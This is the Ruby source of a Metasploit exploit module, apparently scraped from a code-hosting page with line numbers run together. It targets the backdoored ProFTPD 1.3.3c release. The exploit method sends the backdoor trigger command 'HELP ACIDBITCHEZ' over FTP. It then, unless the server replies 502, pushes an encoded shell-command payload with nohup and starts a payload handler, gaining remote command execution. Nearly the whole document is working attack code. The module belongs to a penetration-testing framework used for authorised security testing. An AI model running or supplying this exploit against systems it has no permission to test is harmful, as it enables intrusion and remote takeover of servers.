Path: blob/master/modules/exploits/unix/ftp/proftpd_133c_backdoor.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Ftp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'ProFTPD-1.3.3c Backdoor Command Execution',15'Description' => %q{16This module exploits a malicious backdoor that was added to the17ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz]18archive between November 28th 2010 and 2nd December 2010.19},20'Author' => [ 'MC', 'darkharper2' ],21'License' => MSF_LICENSE,22'References' => [23[ 'OSVDB', '69562'],24[ 'BID', '45150' ]25],26'Privileged' => true,27'Platform' => [ 'unix' ],28'Arch' => ARCH_CMD,29'Payload' => {30'Space' => 2000,31'BadChars' => '',32'DisableNops' => true,33'Compat' =>34{35'PayloadType' => 'cmd',36'RequiredCmd' => 'generic perl telnet',37}38},39'Targets' => [40[ 'Automatic', {} ],41],42'DisclosureDate' => '2010-12-02',43'DefaultTarget' => 0,44'Notes' => {45'Reliability' => UNKNOWN_RELIABILITY,46'Stability' => UNKNOWN_STABILITY,47'SideEffects' => UNKNOWN_SIDE_EFFECTS48}49)50)5152deregister_options('FTPUSER', 'FTPPASS')53end5455def exploit56connect5758print_status("Sending Backdoor Command")59sock.put("HELP ACIDBITCHEZ\r\n")6061res = sock.get_once(-1, 10)6263if (res and res =~ /502/)64print_error("Not backdoored")65else66sock.put("nohup " + payload.encoded + " >/dev/null 2>&1\n")67handler68end6970disconnect71end72end737475